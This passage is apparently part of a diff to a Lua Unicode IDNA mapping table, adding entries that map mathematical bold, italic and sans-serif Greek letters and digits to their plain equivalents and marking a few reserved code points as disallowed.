+ [0x1D6A5] = 0x0237, -- MATHEMATICAL ITALIC SMALL DOTLESS J
+ -- NA <reserved-1D547>..<reserved-1D549>
+ [0x1D547] = {status="disallowed"},
+ [0x1D548] = {status="disallowed"},
+ [0x1D549] = {status="disallowed"},
+ [0x1D6A8] = 0x03B1, -- MATHEMATICAL BOLD CAPITAL ALPHA
+ [0x1D6A9] = 0x03B2, -- MATHEMATICAL BOLD CAPITAL BETA
+ [0x1D6AA] = 0x03B3, -- MATHEMATICAL BOLD CAPITAL GAMMA
+ [0x1D6AB] = 0x03B4, -- MATHEMATICAL BOLD CAPITAL DELTA
+ [0x1D6AC] = 0x03B5, -- MATHEMATICAL BOLD CAPITAL EPSILON
+ [0x1D6AD] = 0x03B6, -- MATHEMATICAL BOLD CAPITAL ZETA
+ [0x1D6AE] = 0x03B7, -- MATHEMATICAL BOLD CAPITAL ETA
+ [0x1D6AF] = 0x03B8, -- MATHEMATICAL BOLD CAPITAL THETA
+ [0x1D6B0] = 0x03B9, -- MATHEMATICAL BOLD CAPITAL IOTA
+ [0x1D6B1] = 0x03BA, -- MATHEMATICAL BOLD CAPITAL KAPPA
+ [0x1D6B2] = 0x03BB, -- MATHEMATICAL BOLD CAPITAL LAMDA
+ [0x1D6B3] = 0x03BC, -- MATHEMATICAL BOLD CAPITAL MU
+ [0x1D6B4] = 0x03BD, -- MATHEMATICAL BOLD CAPITAL NU
+ [0x1D6B5] = 0x03BE, -- MATHEMATICAL BOLD CAPITAL XI
+ [0x1D6B6] = 0x03BF, -- MATHEMATICAL BOLD CAPITAL OMICRON
+ [0x1D6B7] = 0x03C0, -- MATHEMATICAL BOLD CAPITAL PI
+ [0x1D6B8] = 0x03C1, -- MATHEMATICAL BOLD CAPITAL RHO
+ [0x1D6B9] = 0x03B8, -- MATHEMATICAL BOLD CAPITAL THETA SYMBOL
+ [0x1D6BA] = 0x03C3, -- MATHEMATICAL BOLD CAPITAL SIGMA
+ [0x1D6BB] = 0x03C4, -- MATHEMATICAL BOLD CAPITAL TAU
+ [0x1D6BC] = 0x03C5, -- MATHEMATICAL BOLD CAPITAL UPSILON
+ [0x1D6BD] = 0x03C6, -- MATHEMATICAL BOLD CAPITAL PHI
+ [0x1D6BE] = 0x03C7, -- MATHEMATICAL BOLD CAPITAL CHI
+ [0x1D6BF] = 0x03C8, -- MATHEMATICAL BOLD CAPITAL PSI
+ [0x1D6C0] = 0x03C9, -- MATHEMATICAL BOLD CAPITAL OMEGA
+ [0x1D6C1] = 0x2207, -- MATHEMATICAL BOLD NABLA
+ [0x1D6C2] = 0x03B1, -- MATHEMATICAL BOLD SMALL ALPHA
+ [0x1D6C3] = 0x03B2, -- MATHEMATICAL BOLD SMALL BETA
+ [0x1D6C4] = 0x03B3, -- MATHEMATICAL BOLD SMALL GAMMA
+ [0x1D6C5] = 0x03B4, -- MATHEMATICAL BOLD SMALL DELTA
+ [0x1D6C6] = 0x03B5, -- MATHEMATICAL BOLD SMALL EPSILON
+ [0x1D6C7] = 0x03B6, -- MATHEMATICAL BOLD SMALL ZETA
+ [0x1D6C8] = 0x03B7, -- MATHEMATICAL BOLD SMALL ETA
+ [0x1D6C9] = 0x03B8, -- MATHEMATICAL BOLD SMALL THETA
+ [0x1D6CA] = 0x03B9, -- MATHEMATICAL BOLD SMALL IOTA
+ [0x1D6CB] = 0x03BA, -- MATHEMATICAL BOLD SMALL KAPPA
+ [0x1D6CC] = 0x03BB, -- MATHEMATICAL BOLD SMALL LAMDA
+ [0x1D6CD] = 0x03BC, -- MATHEMATICAL BOLD SMALL MU
+ [0x1D6CE] = 0x03BD, -- MATHEMATICAL BOLD SMALL NU
+ [0x1D6CF] = 0x03BE, -- MATHEMATICAL BOLD SMALL XI
+ [0x1D6D0] = 0x03BF, -- MATHEMATICAL BOLD SMALL OMICRON
+ [0x1D6D1] = 0x03C0, -- MATHEMATICAL BOLD SMALL PI
+ [0x1D6D2] = 0x03C1, -- MATHEMATICAL BOLD SMALL RHO
+ -- NA <reserved-1D6A6>..<reserved-1D6A7>
+ [0x1D6A6] = {status="disallowed"},
+ [0x1D6A7] = {status="disallowed"},
+ [0x1D6D5] = 0x03C4, -- MATHEMATICAL BOLD SMALL TAU
+ [0x1D6D6] = 0x03C5, -- MATHEMATICAL BOLD SMALL UPSILON
+ [0x1D6D7] = 0x03C6, -- MATHEMATICAL BOLD SMALL PHI
+ [0x1D6D8] = 0x03C7, -- MATHEMATICAL BOLD SMALL CHI
+ [0x1D6D9] = 0x03C8, -- MATHEMATICAL BOLD SMALL PSI
+ [0x1D6DA] = 0x03C9, -- MATHEMATICAL BOLD SMALL OMEGA
+ [0x1D6DB] = 0x2202, -- MATHEMATICAL BOLD PARTIAL DIFFERENTIAL
+ [0x1D6DC] = 0x03B5, -- MATHEMATICAL BOLD EPSILON SYMBOL
+ [0x1D6DD] = 0x03B8, -- MATHEMATICAL BOLD THETA SYMBOL
+ [0x1D6DE] = 0x03BA, -- MATHEMATICAL BOLD KAPPA SYMBOL
+ [0x1D6DF] = 0x03C6, -- MATHEMATICAL BOLD PHI SYMBOL
+ [0x1D6E0] = 0x03C1, -- MATHEMATICAL BOLD RHO SYMBOL
+ [0x1D6E1] = 0x03C0, -- MATHEMATICAL BOLD PI SYMBOL
+ [0x1D6E2] = 0x03B1, -- MATHEMATICAL ITALIC CAPITAL ALPHA
+ [0x1D6E3] = 0x03B2, -- MATHEMATICAL ITALIC CAPITAL BETA
+ [0x1D6E4] = 0x03B3, -- MATHEMATICAL ITALIC CAPITAL GAMMA
+ [0x1D6E5] = 0x03B4, -- MATHEMATICAL ITALIC CAPITAL DELTA
+ [0x1D6E6] = 0x03B5, -- MATHEMATICAL ITALIC CAPITAL EPSILON
+ [0x1D6E7] = 0x03B6, -- MATHEMATICAL ITALIC CAPITAL ZETA
+ [0x1D6E8] = 0x03B7, -- MATHEMATICAL ITALIC CAPITAL ETA
+ [0x1D6E9] = 0x03B8, -- MATHEMATICAL ITALIC CAPITAL THETA
+ [0x1D6EA] = 0x03B9, -- MATHEMATICAL ITALIC CAPITAL IOTA
+ [0x1D6EB] = 0x03BA, -- MATHEMATICAL ITALIC CAPITAL KAPPA
+ [0x1D6EC] = 0x03BB, -- MATHEMATICAL ITALIC CAPITAL LAMDA
+ [0x1D6ED] = 0x03BC, -- MATHEMATICAL ITALIC CAPITAL MU
+ [0x1D6EE] = 0x03BD, -- MATHEMATICAL ITALIC CAPITAL NU
+ [0x1D6EF] = 0x03BE, -- MATHEMATICAL ITALIC CAPITAL XI
+ [0x1D6F0] = 0x03BF, -- MATHEMATICAL ITALIC CAPITAL OMICRON
+ [0x1D6F1] = 0x03C0, -- MATHEMATICAL ITALIC CAPITAL PI
+ [0x1D6F2] = 0x03C1, -- MATHEMATICAL ITALIC CAPITAL RHO
+ [0x1D6F3] = 0x03B8, -- MATHEMATICAL ITALIC CAPITAL THETA SYMBOL
+ [0x1D6F4] = 0x03C3, -- MATHEMATICAL ITALIC CAPITAL SIGMA
+ [0x1D6F5] = 0x03C4, -- MATHEMATICAL ITALIC CAPITAL TAU
+ [0x1D6F6] = 0x03C5, -- MATHEMATICAL ITALIC CAPITAL UPSILON
+ [0x1D6F7] = 0x03C6, -- MATHEMATICAL ITALIC CAPITAL PHI
+ [0x1D6F8] = 0x03C7, -- MATHEMATICAL ITALIC CAPITAL CHI
+ [0x1D6F9] = 0x03C8, -- MATHEMATICAL ITALIC CAPITAL PSI
+ [0x1D6FA] = 0x03C9, -- MATHEMATICAL ITALIC CAPITAL OMEGA
+ [0x1D6FB] = 0x2207, -- MATHEMATICAL ITALIC NABLA
+ [0x1D6FC] = 0x03B1, -- MATHEMATICAL ITALIC SMALL ALPHA
+ [0x1D6FD] = 0x03B2, -- MATHEMATICAL ITALIC SMALL BETA
+ [0x1D6FE] = 0x03B3, -- MATHEMATICAL ITALIC SMALL GAMMA
+ [0x1D6FF] = 0x03B4, -- MATHEMATICAL ITALIC SMALL DELTA
+ [0x1D700] = 0x03B5, -- MATHEMATICAL ITALIC SMALL EPSILON
+ [0x1D701] = 0x03B6, -- MATHEMATICAL ITALIC SMALL ZETA
+ [0x1D702] = 0x03B7, -- MATHEMATICAL ITALIC SMALL ETA
+ [0x1D703] = 0x03B8, -- MATHEMATICAL ITALIC SMALL THETA
+ [0x1D704] = 0x03B9, -- MATHEMATICAL ITALIC SMALL IOTA
+ [0x1D705] = 0x03BA, -- MATHEMATICAL ITALIC SMALL KAPPA
+ [0x1D706] = 0x03BB, -- MATHEMATICAL ITALIC SMALL LAMDA
+ [0x1D707] = 0x03BC, -- MATHEMATICAL ITALIC SMALL MU
+ [0x1D708] = 0x03BD, -- MATHEMATICAL ITALIC SMALL NU
+ [0x1D709] = 0x03BE, -- MATHEMATICAL ITALIC SMALL XI
+ [0x1D70A] = 0x03BF, -- MATHEMATICAL ITALIC SMALL OMICRON
+ [0x1D70B] = 0x03C0, -- MATHEMATICAL ITALIC SMALL PI
+ [0x1D70C] = 0x03C1, -- MATHEMATICAL ITALIC SMALL RHO
+ -- MATHEMATICAL BOLD SMALL FINAL SIGMA..MATHEMATICAL BOLD SMALL SIGMA
+ [0x1D6D3] = 0x03C3,
+ [0x1D6D4] = 0x03C3,
+ [0x1D70F] = 0x03C4, -- MATHEMATICAL ITALIC SMALL TAU
+ [0x1D710] = 0x03C5, -- MATHEMATICAL ITALIC SMALL UPSILON
+ [0x1D711] = 0x03C6, -- MATHEMATICAL ITALIC SMALL PHI
+ [0x1D712] = 0x03C7, -- MATHEMATICAL ITALIC SMALL CHI
+ [0x1D713] = 0x03C8, -- MATHEMATICAL ITALIC SMALL PSI
+ [0x1D714] = 0x03C9, -- MATHEMATICAL ITALIC SMALL OMEGA
+ [0x1D715] = 0x2202, -- MATHEMATICAL ITALIC PARTIAL DIFFERENTIAL
+ [0x1D716] = 0x03B5, -- MATHEMATICAL ITALIC EPSILON SYMBOL
+ [0x1D717] = 0x03B8, -- MATHEMATICAL ITALIC THETA SYMBOL
+ [0x1D718] = 0x03BA, -- MATHEMATICAL ITALIC KAPPA SYMBOL
+ [0x1D719] = 0x03C6, -- MATHEMATICAL ITALIC PHI SYMBOL
+ [0x1D71A] = 0x03C1, -- MATHEMATICAL ITALIC RHO SYMBOL
+ [0x1D71B] = 0x03C0, -- MATHEMATICAL ITALIC PI SYMBOL
+ [0x1D71C] = 0x03B1, -- MATHEMATICAL BOLD ITALIC CAPITAL ALPHA
+ [0x1D71D] = 0x03B2, -- MATHEMATICAL BOLD ITALIC CAPITAL BETA
+ [0x1D71E] = 0x03B3, -- MATHEMATICAL BOLD ITALIC CAPITAL GAMMA
+ [0x1D71F] = 0x03B4, -- MATHEMATICAL BOLD ITALIC CAPITAL DELTA
+ [0x1D720] = 0x03B5, -- MATHEMATICAL BOLD ITALIC CAPITAL EPSILON
+ [0x1D721] = 0x03B6, -- MATHEMATICAL BOLD ITALIC CAPITAL ZETA
+ [0x1D722] = 0x03B7, -- MATHEMATICAL BOLD ITALIC CAPITAL ETA
+ [0x1D723] = 0x03B8, -- MATHEMATICAL BOLD ITALIC CAPITAL THETA
+ [0x1D724] = 0x03B9, -- MATHEMATICAL BOLD ITALIC CAPITAL IOTA
+ [0x1D725] = 0x03BA, -- MATHEMATICAL BOLD ITALIC CAPITAL KAPPA
+ [0x1D726] = 0x03BB, -- MATHEMATICAL BOLD ITALIC CAPITAL LAMDA
+ [0x1D727] = 0x03BC, -- MATHEMATICAL BOLD ITALIC CAPITAL MU
+ [0x1D728] = 0x03BD, -- MATHEMATICAL BOLD ITALIC CAPITAL NU
+ [0x1D729] = 0x03BE, -- MATHEMATICAL BOLD ITALIC CAPITAL XI
+ [0x1D72A] = 0x03BF, -- MATHEMATICAL BOLD ITALIC CAPITAL OMICRON
+ [0x1D72B] = 0x03C0, -- MATHEMATICAL BOLD ITALIC CAPITAL PI
+ [0x1D72C] = 0x03C1, -- MATHEMATICAL BOLD ITALIC CAPITAL RHO
+ [0x1D72D] = 0x03B8, -- MATHEMATICAL BOLD ITALIC CAPITAL THETA SYMBOL
+ [0x1D72E] = 0x03C3, -- MATHEMATICAL BOLD ITALIC CAPITAL SIGMA
+ [0x1D72F] = 0x03C4, -- MATHEMATICAL BOLD ITALIC CAPITAL TAU
+ [0x1D730] = 0x03C5, -- MATHEMATICAL BOLD ITALIC CAPITAL UPSILON
+ [0x1D731] = 0x03C6, -- MATHEMATICAL BOLD ITALIC CAPITAL PHI
+ [0x1D732] = 0x03C7, -- MATHEMATICAL BOLD ITALIC CAPITAL CHI
+ [0x1D733] = 0x03C8, -- MATHEMATICAL BOLD ITALIC CAPITAL PSI
+ [0x1D734] = 0x03C9, -- MATHEMATICAL BOLD ITALIC CAPITAL OMEGA
+ [0x1D735] = 0x2207, -- MATHEMATICAL BOLD ITALIC NABLA
+ [0x1D736] = 0x03B1, -- MATHEMATICAL BOLD ITALIC SMALL ALPHA
+ [0x1D737] = 0x03B2, -- MATHEMATICAL BOLD ITALIC SMALL BETA
+ [0x1D738] = 0x03B3, -- MATHEMATICAL BOLD ITALIC SMALL GAMMA
+ [0x1D739] = 0x03B4, -- MATHEMATICAL BOLD ITALIC SMALL DELTA
+ [0x1D73A] = 0x03B5, -- MATHEMATICAL BOLD ITALIC SMALL EPSILON
+ [0x1D73B] = 0x03B6, -- MATHEMATICAL BOLD ITALIC SMALL ZETA
+ [0x1D73C] = 0x03B7, -- MATHEMATICAL BOLD ITALIC SMALL ETA
+ [0x1D73D] = 0x03B8, -- MATHEMATICAL BOLD ITALIC SMALL THETA
+ [0x1D73E] = 0x03B9, -- MATHEMATICAL BOLD ITALIC SMALL IOTA
+ [0x1D73F] = 0x03BA, -- MATHEMATICAL BOLD ITALIC SMALL KAPPA
+ [0x1D740] = 0x03BB, -- MATHEMATICAL BOLD ITALIC SMALL LAMDA
+ [0x1D741] = 0x03BC, -- MATHEMATICAL BOLD ITALIC SMALL MU
+ [0x1D742] = 0x03BD, -- MATHEMATICAL BOLD ITALIC SMALL NU
+ [0x1D743] = 0x03BE, -- MATHEMATICAL BOLD ITALIC SMALL XI
+ [0x1D744] = 0x03BF, -- MATHEMATICAL BOLD ITALIC SMALL OMICRON
+ [0x1D745] = 0x03C0, -- MATHEMATICAL BOLD ITALIC SMALL PI
+ [0x1D746] = 0x03C1, -- MATHEMATICAL BOLD ITALIC SMALL RHO
+ -- MATHEMATICAL ITALIC SMALL FINAL SIGMA..MATHEMATICAL ITALIC SMALL SIGMA
+ [0x1D70D] = 0x03C3,
+ [0x1D70E] = 0x03C3,
+ [0x1D749] = 0x03C4, -- MATHEMATICAL BOLD ITALIC SMALL TAU
+ [0x1D74A] = 0x03C5, -- MATHEMATICAL BOLD ITALIC SMALL UPSILON
+ [0x1D74B] = 0x03C6, -- MATHEMATICAL BOLD ITALIC SMALL PHI
+ [0x1D74C] = 0x03C7, -- MATHEMATICAL BOLD ITALIC SMALL CHI
+ [0x1D74D] = 0x03C8, -- MATHEMATICAL BOLD ITALIC SMALL PSI
+ [0x1D74E] = 0x03C9, -- MATHEMATICAL BOLD ITALIC SMALL OMEGA
+ [0x1D74F] = 0x2202, -- MATHEMATICAL BOLD ITALIC PARTIAL DIFFERENTIAL
+ [0x1D750] = 0x03B5, -- MATHEMATICAL BOLD ITALIC EPSILON SYMBOL
+ [0x1D751] = 0x03B8, -- MATHEMATICAL BOLD ITALIC THETA SYMBOL
+ [0x1D752] = 0x03BA, -- MATHEMATICAL BOLD ITALIC KAPPA SYMBOL
+ [0x1D753] = 0x03C6, -- MATHEMATICAL BOLD ITALIC PHI SYMBOL
+ [0x1D754] = 0x03C1, -- MATHEMATICAL BOLD ITALIC RHO SYMBOL
+ [0x1D755] = 0x03C0, -- MATHEMATICAL BOLD ITALIC PI SYMBOL
+ [0x1D756] = 0x03B1, -- MATHEMATICAL SANS-SERIF BOLD CAPITAL ALPHA
+ [0x1D757] = 0x03B2, -- MATHEMATICAL SANS-SERIF BOLD CAPITAL BETA
+ [0x1D758] = 0x03B3, -- MATHEMATICAL SANS-SERIF BOLD CAPITAL GAMMA
+ [0x1D759] = 0x03B4, -- MATHEMATICAL SANS-SERIF BOLD CAPITAL DELTA
+ [0x1D75A] = 0x03B5, -- MATHEMATICAL SANS-SERIF BOLD CAPITAL EPSILON
+ [0x1D75B] = 0x03B6, -- MATHEMATICAL SANS-SERIF BOLD CAPITAL ZETA
+ [0x1D75C] = 0x03B7, -- MATHEMATICAL SANS-SERIF BOLD CAPITAL ETA
+ [0x1D75D] = 0x03B8, -- MATHEMATICAL SANS-SERIF BOLD CAPITAL THETA
+ [0x1D75E] = 0x03B9, -- MATHEMATICAL SANS-SERIF BOLD CAPITAL IOTA
+ [0x1D75F] = 0x03BA, -- MATHEMATICAL SANS-SERIF BOLD CAPITAL KAPPA
+ [0x1D760] = 0x03BB, -- MATHEMATICAL SANS-SERIF BOLD CAPITAL LAMDA
+ [0x1D761] = 0x03BC, -- MATHEMATICAL SANS-SERIF BOLD CAPITAL MU
+ [0x1D762] = 0x03BD, -- MATHEMATICAL SANS-SERIF BOLD CAPITAL NU
+ [0x1D763] = 0x03BE, -- MATHEMATICAL SANS-SERIF BOLD CAPITAL XI
+ [0x1D764] = 0x03BF, -- MATHEMATICAL SANS-SERIF BOLD CAPITAL OMICRON
+ [0x1D765] = 0x03C0, -- MATHEMATICAL SANS-SERIF BOLD CAPITAL PI
+ [0x1D766] = 0x03C1, -- MATHEMATICAL SANS-SERIF BOLD CAPITAL RHO
+ [0x1D767] = 0x03B8, -- MATHEMATICAL SANS-SERIF BOLD CAPITAL THETA SYMBOL
+ [0x1D768] = 0x03C3, -- MATHEMATICAL SANS-SERIF BOLD CAPITAL SIGMA
+ [0x1D769] = 0x03C4, -- MATHEMATICAL SANS-SERIF BOLD CAPITAL TAU
+ [0x1D76A] = 0x03C5, -- MATHEMATICAL SANS-SERIF BOLD CAPITAL UPSILON
+ [0x1D76B] = 0x03C6, -- MATHEMATICAL SANS-SERIF BOLD CAPITAL PHI
+ [0x1D76C] = 0x03C7, -- MATHEMATICAL SANS-SERIF BOLD CAPITAL CHI
+ [0x1D76D] = 0x03C8, -- MATHEMATICAL SANS-SERIF BOLD CAPITAL PSI
+ [0x1D76E] = 0x03C9, -- MATHEMATICAL SANS-SERIF BOLD CAPITAL OMEGA
+ [0x1D76F] = 0x2207, -- MATHEMATICAL SANS-SERIF BOLD NABLA
+ [0x1D770] = 0x03B1, -- MATHEMATICAL SANS-SERIF BOLD SMALL ALPHA
+ [0x1D771] = 0x03B2, -- MATHEMATICAL SANS-SERIF BOLD SMALL BETA
+ [0x1D772] = 0x03B3, -- MATHEMATICAL SANS-SERIF BOLD SMALL GAMMA
+ [0x1D773] = 0x03B4, -- MATHEMATICAL SANS-SERIF BOLD SMALL DELTA
+ [0x1D774] = 0x03B5, -- MATHEMATICAL SANS-SERIF BOLD SMALL EPSILON
+ [0x1D775] = 0x03B6, -- MATHEMATICAL SANS-SERIF BOLD SMALL ZETA
+ [0x1D776] = 0x03B7, -- MATHEMATICAL SANS-SERIF BOLD SMALL ETA
+ [0x1D777] = 0x03B8, -- MATHEMATICAL SANS-SERIF BOLD SMALL THETA
+ [0x1D778] = 0x03B9, -- MATHEMATICAL SANS-SERIF BOLD SMALL IOTA
+ [0x1D779] = 0x03BA, -- MATHEMATICAL SANS-SERIF BOLD SMALL KAPPA
+ [0x1D77A] = 0x03BB, -- MATHEMATICAL SANS-SERIF BOLD SMALL LAMDA
+ [0x1D77B] = 0x03BC, -- MATHEMATICAL SANS-SERIF BOLD SMALL MU
+ [0x1D77C] = 0x03BD, -- MATHEMATICAL SANS-SERIF BOLD SMALL NU
+ [0x1D77D] = 0x03BE, -- MATHEMATICAL SANS-SERIF BOLD SMALL XI
+ [0x1D77E] = 0x03BF, -- MATHEMATICAL SANS-SERIF BOLD SMALL OMICRON
+ [0x1D77F] = 0x03C0, -- MATHEMATICAL SANS-SERIF BOLD SMALL PI
+ [0x1D780] = 0x03C1, -- MATHEMATICAL SANS-SERIF BOLD SMALL RHO
+ -- MATHEMATICAL BOLD ITALIC SMALL FINAL SIGMA..MATHEMATICAL BOLD ITALIC SMALL SIGMA
+ [0x1D747] = 0x03C3,
+ [0x1D748] = 0x03C3,
+ [0x1D783] = 0x03C4, -- MATHEMATICAL SANS-SERIF BOLD SMALL TAU
+ [0x1D784] = 0x03C5, -- MATHEMATICAL SANS-SERIF BOLD SMALL UPSILON
+ [0x1D785] = 0x03C6, -- MATHEMATICAL SANS-SERIF BOLD SMALL PHI
+ [0x1D786] = 0x03C7, -- MATHEMATICAL SANS-SERIF BOLD SMALL CHI
+ [0x1D787] = 0x03C8, -- MATHEMATICAL SANS-SERIF BOLD SMALL PSI
+ [0x1D788] = 0x03C9, -- MATHEMATICAL SANS-SERIF BOLD SMALL OMEGA
+ [0x1D789] = 0x2202, -- MATHEMATICAL SANS-SERIF BOLD PARTIAL DIFFERENTIAL
+ [0x1D78A] = 0x03B5, -- MATHEMATICAL SANS-SERIF BOLD EPSILON SYMBOL
+ [0x1D78B] = 0x03B8, -- MATHEMATICAL SANS-SERIF BOLD THETA SYMBOL
+ [0x1D78C] = 0x03BA, -- MATHEMATICAL SANS-SERIF BOLD KAPPA SYMBOL
+ [0x1D78D] = 0x03C6, -- MATHEMATICAL SANS-SERIF BOLD PHI SYMBOL
+ [0x1D78E] = 0x03C1, -- MATHEMATICAL SANS-SERIF BOLD RHO SYMBOL
+ [0x1D78F] = 0x03C0, -- MATHEMATICAL SANS-SERIF BOLD PI SYMBOL
+ [0x1D790] = 0x03B1, -- MATHEMATICAL SANS-SERIF BOLD ITALIC CAPITAL ALPHA
+ [0x1D791] = 0x03B2, -- MATHEMATICAL SANS-SERIF BOLD ITALIC CAPITAL BETA
+ [0x1D792] = 0x03B3, -- MATHEMATICAL SANS-SERIF BOLD ITALIC CAPITAL GAMMA
+ [0x1D793] = 0x03B4, -- MATHEMATICAL SANS-SERIF BOLD ITALIC CAPITAL DELTA
+ [0x1D794] = 0x03B5, -- MATHEMATICAL SANS-SERIF BOLD ITALIC CAPITAL EPSILON
+ [0x1D795] = 0x03B6, -- MATHEMATICAL SANS-SERIF BOLD ITALIC CAPITAL ZETA
+ [0x1D796] = 0x03B7, -- MATHEMATICAL SANS-SERIF BOLD ITALIC CAPITAL ETA
+ [0x1D797] = 0x03B8, -- MATHEMATICAL SANS-SERIF BOLD ITALIC CAPITAL THETA
+ [0x1D798] = 0x03B9, -- MATHEMATICAL SANS-SERIF BOLD ITALIC CAPITAL IOTA
+ [0x1D799] = 0x03BA, -- MATHEMATICAL SANS-SERIF BOLD ITALIC CAPITAL KAPPA
+ [0x1D79A] = 0x03BB, -- MATHEMATICAL SANS-SERIF BOLD ITALIC CAPITAL LAMDA
+ [0x1D79B] = 0x03BC, -- MATHEMATICAL SANS-SERIF BOLD ITALIC CAPITAL MU
+ [0x1D79C] = 0x03BD, -- MATHEMATICAL SANS-SERIF BOLD ITALIC CAPITAL NU
+ [0x1D79D] = 0x03BE, -- MATHEMATICAL SANS-SERIF BOLD ITALIC CAPITAL XI
+ [0x1D79E] = 0x03BF, -- MATHEMATICAL SANS-SERIF BOLD ITALIC CAPITAL OMICRON
+ [0x1D79F] = 0x03C0, -- MATHEMATICAL SANS-SERIF BOLD ITALIC CAPITAL PI
+ [0x1D7A0] = 0x03C1, -- MATHEMATICAL SANS-SERIF BOLD ITALIC CAPITAL RHO
+ [0x1D7A1] = 0x03B8, -- MATHEMATICAL SANS-SERIF BOLD ITALIC CAPITAL THETA SYMBOL
+ [0x1D7A2] = 0x03C3, -- MATHEMATICAL SANS-SERIF BOLD ITALIC CAPITAL SIGMA
+ [0x1D7A3] = 0x03C4, -- MATHEMATICAL SANS-SERIF BOLD ITALIC CAPITAL TAU
+ [0x1D7A4] = 0x03C5, -- MATHEMATICAL SANS-SERIF BOLD ITALIC CAPITAL UPSILON
+ [0x1D7A5] = 0x03C6, -- MATHEMATICAL SANS-SERIF BOLD ITALIC CAPITAL PHI
+ [0x1D7A6] = 0x03C7, -- MATHEMATICAL SANS-SERIF BOLD ITALIC CAPITAL CHI
+ [0x1D7A7] = 0x03C8, -- MATHEMATICAL SANS-SERIF BOLD ITALIC CAPITAL PSI
+ [0x1D7A8] = 0x03C9, -- MATHEMATICAL SANS-SERIF BOLD ITALIC CAPITAL OMEGA
+ [0x1D7A9] = 0x2207, -- MATHEMATICAL SANS-SERIF BOLD ITALIC NABLA
+ [0x1D7AA] = 0x03B1, -- MATHEMATICAL SANS-SERIF BOLD ITALIC SMALL ALPHA
+ [0x1D7AB] = 0x03B2, -- MATHEMATICAL SANS-SERIF BOLD ITALIC SMALL BETA
+ [0x1D7AC] = 0x03B3, -- MATHEMATICAL SANS-SERIF BOLD ITALIC SMALL GAMMA
+ [0x1D7AD] = 0x03B4, -- MATHEMATICAL SANS-SERIF BOLD ITALIC SMALL DELTA
+ [0x1D7AE] = 0x03B5, -- MATHEMATICAL SANS-SERIF BOLD ITALIC SMALL EPSILON
+ [0x1D7AF] = 0x03B6, -- MATHEMATICAL SANS-SERIF BOLD ITALIC SMALL ZETA
+ [0x1D7B0] = 0x03B7, -- MATHEMATICAL SANS-SERIF BOLD ITALIC SMALL ETA
+ [0x1D7B1] = 0x03B8, -- MATHEMATICAL SANS-SERIF BOLD ITALIC SMALL THETA
+ [0x1D7B2] = 0x03B9, -- MATHEMATICAL SANS-SERIF BOLD ITALIC SMALL IOTA
+ [0x1D7B3] = 0x03BA, -- MATHEMATICAL SANS-SERIF BOLD ITALIC SMALL KAPPA
+ [0x1D7B4] = 0x03BB, -- MATHEMATICAL SANS-SERIF BOLD ITALIC SMALL LAMDA
+ [0x1D7B5] = 0x03BC, -- MATHEMATICAL SANS-SERIF BOLD ITALIC SMALL MU
+ [0x1D7B6] = 0x03BD, -- MATHEMATICAL SANS-SERIF BOLD ITALIC SMALL NU
+ [0x1D7B7] = 0x03BE, -- MATHEMATICAL SANS-SERIF BOLD ITALIC SMALL XI
+ [0x1D7B8] = 0x03BF, -- MATHEMATICAL SANS-SERIF BOLD ITALIC SMALL OMICRON
+ [0x1D7B9] = 0x03C0, -- MATHEMATICAL SANS-SERIF BOLD ITALIC SMALL PI
+ [0x1D7BA] = 0x03C1, -- MATHEMATICAL SANS-SERIF BOLD ITALIC SMALL RHO
+ -- MATHEMATICAL SANS-SERIF BOLD SMALL FINAL SIGMA..MATHEMATICAL SANS-SERIF BOLD SMALL SIGMA
+ [0x1D781] = 0x03C3,
+ [0x1D782] = 0x03C3,
+ [0x1D7BD] = 0x03C4, -- MATHEMATICAL SANS-SERIF BOLD ITALIC SMALL TAU
+ [0x1D7BE] = 0x03C5, -- MATHEMATICAL SANS-SERIF BOLD ITALIC SMALL UPSILON
+ [0x1D7BF] = 0x03C6, -- MATHEMATICAL SANS-SERIF BOLD ITALIC SMALL PHI
+ [0x1D7C0] = 0x03C7, -- MATHEMATICAL SANS-SERIF BOLD ITALIC SMALL CHI
+ [0x1D7C1] = 0x03C8, -- MATHEMATICAL SANS-SERIF BOLD ITALIC SMALL PSI
+ [0x1D7C2] = 0x03C9, -- MATHEMATICAL SANS-SERIF BOLD ITALIC SMALL OMEGA
+ [0x1D7C3] = 0x2202, -- MATHEMATICAL SANS-SERIF BOLD ITALIC PARTIAL DIFFERENTIAL
+ [0x1D7C4] = 0x03B5, -- MATHEMATICAL SANS-SERIF BOLD ITALIC EPSILON SYMBOL
+ [0x1D7C5] = 0x03B8, -- MATHEMATICAL SANS-SERIF BOLD ITALIC THETA SYMBOL
+ [0x1D7C6] = 0x03BA, -- MATHEMATICAL SANS-SERIF BOLD ITALIC KAPPA SYMBOL
+ [0x1D7C7] = 0x03C6, -- MATHEMATICAL SANS-SERIF BOLD ITALIC PHI SYMBOL
+ [0x1D7C8] = 0x03C1, -- MATHEMATICAL SANS-SERIF BOLD ITALIC RHO SYMBOL
+ [0x1D7C9] = 0x03C0, -- MATHEMATICAL SANS-SERIF BOLD ITALIC PI SYMBOL
+ -- MATHEMATICAL SANS-SERIF BOLD ITALIC SMALL FINAL SIGMA..MATHEMATICAL SANS-SERIF BOLD ITALIC SMALL SIGMA
+ [0x1D7BB] = 0x03C3,
+ [0x1D7BC] = 0x03C3,
+ -- MATHEMATICAL BOLD CAPITAL DIGAMMA..MATHEMATICAL BOLD SMALL DIGAMMA
+ [0x1D7CA] = 0x03DD,
+ [0x1D7CB] = 0x03DD,
+ [0x1D7CE] = 0x0030, -- MATHEMATICAL BOLD DIGIT ZERO
+ [0x1D7CF] = 0x0031, -- MATHEMATICAL BOLD DIGIT ONE
+ [0x1D7D0] = 0x0032, -- MATHEMATICAL BOLD DIGIT TWO
+ [0x1D7D1] = 0x0033, -- MATHEMATICAL BOLD DIGIT THREE
+ [0x1D7D2] = 0x0034, -- MATHEMATICAL BOLD DIGIT FOUR
+ [0x1D7D3] = 0x0035, -- MATHEMATICAL BOLD DIGIT FIVE
+ [0x1D7D4] = 0x0036, -- MATHEMATICAL BOLD DIGIT SIX
+ [0x1D7D5] = 0x0037, -- MATHEMATICAL BOLD DIGIT SEVEN
+ [0x1D7D6] = 0x0038, -- MATHEMATICAL BOLD DIGIT EIGHT
+ [0x1D7D7] = 0x0039, -- MATHEMATICAL BOLD DIGIT NINE
+ [0x1D7D8] = 0x0030, -- MATHEMATICAL DOUBLE-STRUCK DIGIT ZERO
+ [0x1D7D9] = 0x0031, -- MATHEMATICAL DOUBLE-STRUCK DIGIT ONE
+ [0x1D7DA] = 0x0032, -- MATHEMATICAL DOUBLE-STRUCK DIGIT TWO
